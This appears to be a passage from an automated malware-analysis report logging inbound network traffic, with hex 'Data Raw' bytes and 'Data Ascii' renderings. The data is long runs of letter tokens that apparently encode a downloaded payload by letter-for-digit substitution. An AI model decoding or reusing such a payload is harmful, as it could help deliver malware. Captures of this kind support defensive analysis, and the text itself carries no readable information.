2021-10-29 18:29:04 UTC	383	IN	Data Raw: 4f 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 70 71 20 57 70 20 71 57 45 20 70 45 20 4a 4a 20 70 71 20 4d 45 20 71 57 45 20 71 71 57 20 71 58 45 20 4f 20 4f 20 71 4f 20 6d 4a 20 71 4d 20 6d 58 20 6d 20 4f 20 71 57 4f 20 4f 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 4a 58 20 71 6d 71 20 71 70 44 20 4f 20 4f 20 71 20 70 45 20 70 4a 20 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 57 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 4a 45 20 70 71 20 71 4f 4a 20 71 57 45 20 70 45 20 70 4a 20 6d 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 6d 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 4a 44 20 70 71 20 71 4f 58 20 71 57 45 20 70 45 Data Ascii: O O O O pq WD qWE pE pJ O O O O pq Wp qWE pE JJ pq ME qWE qqW qXE O O qO mJ qM mX m O qWO O O O p O O qE JX qmq qpD O O q pE pJ W O O O pq qOq qWE pE pJ W O O O pq ME qWE pE JE pq qOJ qWE pE pJ m O O O pq WE qWE pE pJ m O O O pq Wm qWE pE JD pq qOX qWE pE
2021-10-29 18:29:04 UTC	399	IN	Data Raw: 4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 70 4f 20 4f 20 4f 20 4f 20 70 71 20 6d 4d 20 71 57 45 20 70 45 20 70 71 20 70 4f 20 70 71 20 6d 44 20 71 57 45 20 70 45 20 70 4a 20 4a 4d 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 4a 4d 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 71 20 4a 4d 20 70 71 20 71 71 57 20 71 57 45 20 70 45 20 70 4a 20 4a 58 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 4a 58 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 71 20 4a 58 20 70 71 20 71 71 44 20 71 57 45 20 70 45 20 70 4a 20 4a 45 20 4f 20 4f 20 4f 20 70 71 20 4d 58 20 71 57 45 20 70 45 20 70 4a 20 4a 45 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 Data Ascii: O O O O pq qOq qWE pE pJ pO O O O pq mM qWE pE pq pO pq mD qWE pE pJ JM O O O pq mX qWE pE pJ JM O O O pq WD qWE pE pq JM pq qqW qWE pE pJ JX O O O pq WO qWE pE pJ JX O O O pq qOq qWE pE pq JX pq qqD qWE pE pJ JE O O O pq MX qWE pE pJ JE O O O pq Wm qWE p
2021-10-29 18:29:04 UTC	415	IN	Data Raw: 4a 4f 20 4f 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 70 71 20 4d 20 71 6d 71 20 71 70 44 20 4f 20 4f 20 71 20 70 45 20 70 4a 20 58 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 4a 20 58 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4f 20 70 71 20 71 4f 58 20 71 57 45 20 70 45 20 70 4a 20 45 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 45 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 4a 4d 20 70 71 20 71 4f 58 20 71 57 45 20 70 45 20 70 4a 20 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 4a 58 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 4a 20 57 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 Data Ascii: JO O O O p O O qE pq M qmq qpD O O q pE pJ X O O O pq qOO qWE pE pJ X O O O pq WO qWE pE pO pq qOX qWE pE pJ E O O O pq Wm qWE pE pJ E O O O pq WJ qWE pE JM pq qOX qWE pE pJ D O O O pq qOq qWE pE pJ D O O O pq qOO qWE pE JX pq qOO qWE pE pJ W O O O pq Wm
2021-10-29 18:29:04 UTC	431	IN	Data Raw: 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 71 20 57 4a 20 70 71 20 44 57 20 71 57 45 20 70 45 20 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70 71 20 4d 58 20 71 57 45 20 70 45 20 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 71 20 57 71 20 70 71 20 70 4a 20 71 57 45 20 70 45 20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4a 20 71 57 45 20 70 45 20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 Data Ascii: O O O pq ME qWE pE pq WJ pq DW qWE pE pJ Wq O O O pq WD qWE pE pJ Wq O O O pq WJ qWE pE pJ Wq O O O pq MX qWE pE pJ Wq O O O pq WJ qWE pE pq Wq pq pJ qWE pE pJ WO O O O pq qOJ qWE pE pJ WO O O O pq WE qWE pE pJ WO O O O pq WO qWE pE pJ WO O O O pq qOO qWE
2021-10-29 18:29:04 UTC	447	IN	Data Raw: 20 58 58 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 58 45 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 58 45 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 58 45 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 58 45 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 71 20 58 45 20 70 71 20 71 71 4a 20 71 57 45 20 70 45 20 70 4a 20 58 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4a 20 71 57 45 20 70 45 20 70 4a 20 58 44 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 58 44 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 58 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 71 20 58 44 20 70 71 20 71 71 71 20 71 Data Ascii: XX pq qOq qWE pE pJ XE O O O pq WO qWE pE pJ XE O O O pq WD qWE pE pJ XE O O O pq Wm qWE pE pJ XE O O O pq qOO qWE pE pq XE pq qqJ qWE pE pJ XD O O O pq qOJ qWE pE pJ XD O O O pq WE qWE pE pJ XD O O O pq WE qWE pE pJ XD O O O pq qOq qWE pE pq XD pq qqq q
2021-10-29 18:29:04 UTC	463	IN	Data Raw: 57 45 20 70 45 20 70 71 20 70 44 20 70 71 20 71 71 71 20 71 57 45 20 70 45 20 70 4a 20 70 57 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 70 57 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 70 57 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 70 57 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 71 20 70 57 20 70 71 20 70 4a 20 71 57 45 20 70 45 20 70 4a 20 70 6d 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 70 6d 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20 71 57 45 20 70 45 20 70 4a 20 70 6d 20 4f 20 4f 20 4f 20 70 71 20 57 57 20 71 57 45 20 70 45 20 70 4a 20 70 6d 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 71 20 70 6d 20 70 71 20 71 Data Ascii: WE pE pq pD pq qqq qWE pE pJ pW O O O pq WO qWE pE pJ pW O O O pq mX qWE pE pJ pW O O O pq WO qWE pE pJ pW O O O pq WO qWE pE pq pW pq pJ qWE pE pJ pm O O O pq WD qWE pE pJ pm O O O pq MM qWE pE pJ pm O O O pq WW qWE pE pJ pm O O O pq WE qWE pE pq pm pq q
2021-10-29 18:29:04 UTC	479	IN	Data Raw: 44 20 4f 20 4a 4f 4f 20 44 20 4a 71 57 20 70 71 20 4d 20 4f 20 6d 20 4f 20 70 44 20 4f 20 71 20 4f 20 71 44 20 4f 20 71 4d 71 20 71 57 20 4a 4f 71 20 70 4d 20 4d 20 4f 20 44 20 4f 20 6d 4f 20 4f 20 71 20 4f 20 71 44 20 4f 20 71 4f 6d 20 70 4d 20 71 44 4d 20 4f 20 4d 20 4f 20 45 20 4f 20 6d 57 20 4f 20 71 20 4f 20 4f 20 4f 20 4a 70 6d 20 4a 6d 20 71 44 4d 20 4f 20 4d 20 4f 20 4d 20 4f 20 6d 45 20 4f 20 4f 20 4f 20 71 44 20 4f 20 71 70 57 20 70 4a 20 71 44 4d 20 4f 20 4d 20 4f 20 4d 20 4f 20 44 44 20 4f 20 71 4a 4d 20 71 20 71 44 20 4f 20 71 4a 20 71 6d 20 71 44 4d 20 4f 20 4d 20 4f 20 4d 20 4f 20 44 45 20 4f 20 71 70 4f 20 71 20 71 44 20 4f 20 4a 4f 4d 20 4d 20 4f 20 4f 20 4d 20 4f 20 71 70 20 4f 20 44 4d 20 4f 20 71 4f 20 71 20 71 45 20 4f 20 71 6d 4f 20 Data Ascii: D O JOO D JqW pq M O m O pD O q O qD O qMq qW JOq pM M O D O mO O q O qD O qOm pM qDM O M O E O mW O q O O O Jpm Jm qDM O M O M O mE O O O qD O qpW pJ qDM O M O M O DD O qJM q qD O qJ qm qDM O M O M O DE O qpO q qD O JOM M O O M O qp O DM O qO q qE O qmO
2021-10-29 18:29:04 UTC	495	IN	Data Raw: 4f 20 4a 20 4f 20 71 4f 58 20 57 20 4f 20 4f 20 71 20 4f 20 71 71 20 71 70 20 4f 20 4f 20 4a 20 4f 20 71 45 58 20 6d 71 20 4f 20 4f 20 70 20 4f 20 71 70 4a 20 71 45 20 4f 20 4f 20 6d 20 4f 20 71 44 45 20 6d 4f 20 4f 20 4f 20 57 20 4f 20 57 57 20 6d 45 20 4f 20 4f 20 44 20 4f 20 58 4a 20 4a 58 20 4f 20 4f 20 45 20 4f 20 57 4d 20 4a 4f 20 4f 20 4f 20 58 20 4f 20 4a 70 58 20 71 70 20 4f 20 4f 20 4d 20 4f 20 4a 70 4d 20 4a 4d 20 4f 20 4f 20 71 4f 20 4f 20 6d 71 20 70 57 20 4a 20 4f 20 71 71 20 4f 20 71 6d 58 20 6d 70 20 4f 20 4f 20 71 4a 20 4f 20 71 4a 71 20 71 70 20 4f 20 4f 20 71 20 4f 20 71 57 4a 20 6d 4f 20 4f 20 4f 20 4a 20 4f 20 71 58 4a 20 6d 20 4f 20 4f 20 71 20 4f 20 71 58 70 20 70 45 20 4f 20 4f 20 4a 20 4f 20 71 58 20 4a 70 20 4f 20 4f 20 71 20 4f Data Ascii: O J O qOX W O O q O qq qp O O J O qEX mq O O p O qpJ qE O O m O qDE mO O O W O WW mE O O D O XJ JX O O E O WM JO O O X O JpX qp O O M O JpM JM O O qO O mq pW J O qq O qmX mp O O qJ O qJq qp O O q O qWJ mO O O J O qXJ m O O q O qXp pE O O J O qX Jp O O q O
2021-10-29 18:29:04 UTC	511	IN	Data Raw: 71 20 71 4f 4f 20 4f 20 44 45 20 71 71 71 20 71 71 4f 20 71 71 44 20 71 71 6d 20 4d 45 20 4d 4d 20 71 71 44 20 71 4f 71 20 71 4f 4f 20 4f 20 4d 4d 20 71 71 71 20 71 4f 58 20 71 4f 58 20 71 4f 71 20 4d 4d 20 71 71 44 20 71 4f 71 20 71 4f 4f 20 4f 20 58 4a 20 71 4f 71 20 71 4f 4f 20 71 71 6d 20 4d 45 20 71 4f 4a 20 71 71 44 20 71 4f 71 20 71 4f 4f 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 45 4a 20 4d 45 20 71 71 57 20 44 4d 20 71 4a 4f 20 71 4f 57 20 71 71 44 20 71 4f 71 20 71 4f 4f 20 4f 20 71 71 4f 20 71 71 71 20 71 71 4f 20 71 4f 57 20 71 71 4f 20 71 4f 4a 20 71 4f 71 20 71 71 57 20 71 71 44 20 71 4f 71 20 71 4f 4f 20 4f 20 44 44 20 4d 45 20 4d 4d 20 71 4f 45 20 71 4f 4a 20 71 4f 57 20 71 71 44 20 71 71 44 20 71 4f 71 20 71 4f 4f 20 4f 20 58 Data Ascii: q qOO O DE qqq qqO qqD qqm ME MM qqD qOq qOO O MM qqq qOX qOX qOq MM qqD qOq qOO O XJ qOq qOO qqm ME qOJ qqD qOq qOO O qOp qOq qqD MW EJ ME qqW DM qJO qOW qqD qOq qOO O qqO qqq qqO qOW qqO qOJ qOq qqW qqD qOq qOO O DD ME MM qOE qOJ qOW qqD qqD qOq qOO O X
2021-10-29 18:29:04 UTC	527	IN	Data Raw: 71 20 4d 4d 20 71 71 44 20 71 4f 57 20 71 71 71 20 71 71 4f 20 4f 20 45 71 20 71 4f 71 20 71 71 44 20 45 71 20 71 4f 71 20 71 71 4f 20 71 4f 71 20 71 71 6d 20 71 4f 57 20 4d 4d 20 58 6d 20 71 4a 71 20 71 71 4a 20 71 4f 71 20 44 58 20 71 4f 71 20 71 4f 4a 20 71 4f 57 20 71 71 4f 20 71 4f 57 20 71 71 44 20 71 4f 57 20 71 71 71 20 71 71 4f 20 4f 20 44 45 20 4d 45 20 71 4f 58 20 71 4f 58 20 71 4f 57 20 71 71 4f 20 71 4f 70 20 44 45 20 71 71 71 20 71 71 4f 20 71 71 58 20 71 4f 71 20 71 71 4f 20 71 71 44 20 71 4f 57 20 71 71 71 20 71 71 4f 20 4f 20 58 70 20 71 4f 71 20 4d 45 20 71 71 6d 20 4d 4d 20 71 4f 6d 20 45 4d 20 71 71 4a 20 71 71 44 20 71 4f 57 20 71 71 71 20 71 71 4f 20 4f 20 44 58 20 71 71 6d 20 71 4f 57 20 71 71 58 20 71 4f 71 20 45 58 20 71 71 71 20 Data Ascii: q MM qqD qOW qqq qqO O Eq qOq qqD Eq qOq qqO qOq qqm qOW MM Xm qJq qqJ qOq DX qOq qOJ qOW qqO qOW qqD qOW qqq qqO O DE ME qOX qOX qOW qqO qOp DE qqq qqO qqX qOq qqO qqD qOW qqq qqO O Xp qOq ME qqm MM qOm EM qqJ qqD qOW qqq qqO O DX qqm qOW qqX qOq EX qqq
2021-10-29 18:29:04 UTC	543	IN	Data Raw: 20 4d 45 20 71 71 4f 20 71 71 44 20 71 71 57 20 4f 20 71 4f 44 20 71 71 45 20 71 71 6d 20 4d 45 20 71 71 4f 20 71 71 44 20 71 71 57 20 4f 20 45 70 20 71 71 4f 20 71 71 44 20 71 4f 71 20 71 71 6d 20 71 71 4f 20 4d 45 20 71 4f 58 20 6d 44 20 58 4a 20 71 71 45 20 71 71 4f 20 71 71 44 20 71 4f 57 20 71 4f 4d 20 71 4f 71 20 6d 44 20 44 57 20 71 71 45 20 71 4f 70 20 71 4f 4d 20 71 4f 71 20 71 71 4f 20 71 71 44 20 71 71 57 20 4f 20 44 4d 20 71 71 4f 20 4d 4d 20 71 71 6d 20 71 71 71 20 4d 45 20 4d 4d 20 71 4f 6d 20 71 4f 4d 20 71 4f 71 20 71 71 4f 20 71 71 44 20 71 71 57 20 4f 20 71 71 57 20 71 4f 71 20 71 71 44 20 4d 57 20 44 57 20 71 71 6d 20 71 4f 70 20 71 71 45 20 71 4f 4d 20 71 4f 71 20 71 71 4f 20 71 71 44 20 71 71 57 20 4f 20 45 71 20 71 4f 71 20 71 71 44 Data Ascii: ME qqO qqD qqW O qOD qqE qqm ME qqO qqD qqW O Ep qqO qqD qOq qqm qqO ME qOX mD XJ qqE qqO qqD qOW qOM qOq mD DW qqE qOp qOM qOq qqO qqD qqW O DM qqO MM qqm qqq ME MM qOm qOM qOq qqO qqD qqW O qqW qOq qqD MW DW qqm qOp qqE qOM qOq qqO qqD qqW O Eq qOq qqD
2021-10-29 18:29:04 UTC	559	IN	Data Raw: 44 58 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 4d 4f 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 58 4d 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 57 4f 20 4f 20 44 4d 20 4f 20 45 4d 20 4f 20 71 4f 6d 20 4f 20 71 71 6d 20 4f 20 58 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 4f 45 20 4f 20 71 4a 4a 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 71 71 4a 20 4f 20 57 4a 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 4d 45 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 58 6d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 Data Ascii: DX O EJ O XW O MO O qOD O XM O XM O mp O DW O qOp O DW O DW O XW O XO O WE O WO O DM O EM O qOm O qqm O XO O qOp O DW O DW O XE O XD O qOE O qJJ O qqM O DM O DX O qqJ O WJ O qOp O DM O DW O DW O Eq O ME O DX O XO O Xm O DX O mE O Xq O DW O DW O DW O DX O
2021-10-29 18:29:04 UTC	575	IN	Data Raw: 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 4d 45 20 4f 20 45 44 20 4f 20 57 44 20 4f 20 45 70 20 4f 20 45 4a 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 45 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 58 20 4f 20 71 71 57 20 4f 20 45 58 20 4f 20 58 44 20 4f 20 71 4f 57 20 4f 20 6d 70 20 4f 20 71 4a 71 20 4f 20 44 44 20 4f 20 57 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 57 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 44 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 Data Ascii: O Ep O DM O DW O EO O ME O ED O WD O Ep O EJ O Eq O WJ O EO O Xq O DW O DW O EM O qOW O XW O EM O qqM O DW O DW O XX O qqW O EX O XD O qOW O mp O qJq O DD O WW O DW O Xq O DE O DW O DW O DD O Xm O XD O qOX O MM O qJJ O WE O qOM O qOD O mp O DW O Xq O DW
2021-10-29 18:29:04 UTC	591	IN	Data Raw: 71 4f 57 20 4f 20 6d 4d 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 45 45 20 4f 20 71 4f 70 20 4f 20 57 44 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 58 44 20 4f 20 71 71 6d 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 4d 4f 20 4f 20 71 71 71 20 4f 20 71 4f 4d 20 4f 20 71 4f 4f 20 4f 20 71 4a 71 20 4f 20 45 44 20 4f 20 71 4f 44 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 71 4f 71 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 Data Ascii: qOW O mM O qOD O qOp O DW O DW O qOW O Wq O XW O EE O qOp O WD O Xq O EE O XD O qqm O qOp O DM O DW O Xq O DW O DW O qOD O MX O Wq O qqM O mE O XO O mE O mE O MO O qqq O qOM O qOO O qJq O ED O qOD O mp O mE O WD O qOq O EO O Xq O XO O mE O mE O mE O mX O
2021-10-29 18:29:04 UTC	607	IN	Data Raw: 20 58 4a 20 4f 20 71 4f 71 20 4f 20 71 4f 57 20 4f 20 45 58 20 4f 20 71 4f 71 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 57 57 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4a 4f 20 4f 20 57 45 20 4f 20 45 70 20 4f 20 71 71 71 20 4f 20 6d 4d 20 4f 20 57 6d 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 44 20 4f 20 57 45 20 4f 20 6d 70 20 4f 20 45 4a 20 4f 20 6d 58 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 57 71 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 4a 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 4d 4d Data Ascii: XJ O qOq O qOW O EX O qOq O DD O Xq O WW O qOJ O qOJ O qJO O WE O Ep O qqq O mM O Wm O EO O DX O qqD O WE O mp O EJ O mX O ME O qOp O Wq O qqW O MM O DW O EJ O Xq O XW O ME O DW O Xq O DE O DW O DW O DD O XJ O XD O qOX O Em O Xq O ME O qOp O DX O mE O MM
2021-10-29 18:29:04 UTC	623	IN	Data Raw: 4f 20 71 4f 44 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 4f 4a 20 4f 20 58 58 20 4f 20 71 4f 58 20 4f 20 71 71 58 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 4f 70 20 4f 20 71 4f 71 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 58 4f 20 4f 20 4d 58 20 4f 20 58 44 20 4f 20 57 4a 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 57 6d 20 4f 20 58 4f 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 57 4f 20 4f 20 6d 70 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 Data Ascii: O qOD O qJJ O mE O mE O WE O qOJ O XX O qOX O qqX O Em O qqM O qOp O Xq O DW O XD O XM O qqX O qqW O qOp O qOq O qqM O XM O DE O DW O DW O DW O XW O qJJ O XO O MX O XD O WJ O WO O EO O Wm O XO O qOJ O mE O mE O WJ O WO O mp O qOp O DD O XM O DW O DW O EO
2021-10-29 18:29:04 UTC	639	IN	Data Raw: 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 71 4a 4a 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 4d 58 20 4f 20 71 4f 45 20 4f 20 58 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 4d 4f 20 4f 20 71 71 71 20 4f 20 6d 70 20 4f 20 71 4f 70 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 71 4f 6d 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 45 20 4f 20 57 44 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 58 20 4f 20 71 4a 4f 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 58 4f Data Ascii: W O DW O EM O qOW O qJJ O Wm O mE O mE O mE O mE O WW O MX O qOE O XE O qOp O DW O DW O qOW O WD O MO O qqq O mp O qOp O EE O DW O DW O EM O qOW O qOm O Wm O mE O mE O mE O EE O WD O DE O EX O qqX O qOX O qJO O qqm O DW O DW O DE O DX O XO O qqM O DM O XO
2021-10-29 18:29:04 UTC	655	IN	Data Raw: 45 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 71 4f 4f 20 4f 20 71 71 71 20 4f 20 45 45 20 4f 20 45 45 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 45 4d 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 57 44 20 4f 20 58 71 20 4f 20 58 4d 20 4f 20 4d 45 20 4f Data Ascii: EE O mE O mE O mE O mE O qOD O XM O XW O DW O mp O XO O mE O mE O XW O EO O qOO O qqq O EE O EE O mM O DW O DW O Ep O WO O EO O DW O XO O DX O mE O mE O WO O qOp O DW O DD O DW O DW O DW O XW O EM O qOD O XW O ME O Xq O DW O DW O qOp O WD O Xq O XM O ME O
2021-10-29 18:29:04 UTC	671	IN	Data Raw: 6d 4d 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 71 71 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 71 71 58 20 4f 20 45 4a 20 4f 20 58 58 20 4f 20 71 71 57 20 4f 20 45 58 20 4f 20 58 44 20 4f 20 71 4f 57 20 4f 20 6d 70 20 4f 20 71 4a 71 20 4f 20 45 44 20 4f 20 58 4a 20 4f 20 58 4a 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 57 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 58 45 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 58 4d 20 4f 20 57 70 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 57 20 4f 20 58 6d 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 4d 4d 20 4f 20 45 4f 20 4f 20 45 58 20 4f 20 58 58 20 4f 20 45 45 20 4f 20 6d 45 20 Data Ascii: mM O DX O qqq O qqX O qOM O DW O DW O DW O Ep O XO O DM O DX O Ep O qqX O EJ O XX O qqW O EX O XD O qOW O mp O qJq O ED O XJ O XJ O DE O DX O WW O DD O qOm O XE O EE O mE O XM O Wp O qOO O Xq O qJO O qOM O qOW O Xm O DD O WO O MM O EO O EX O XX O EE O mE
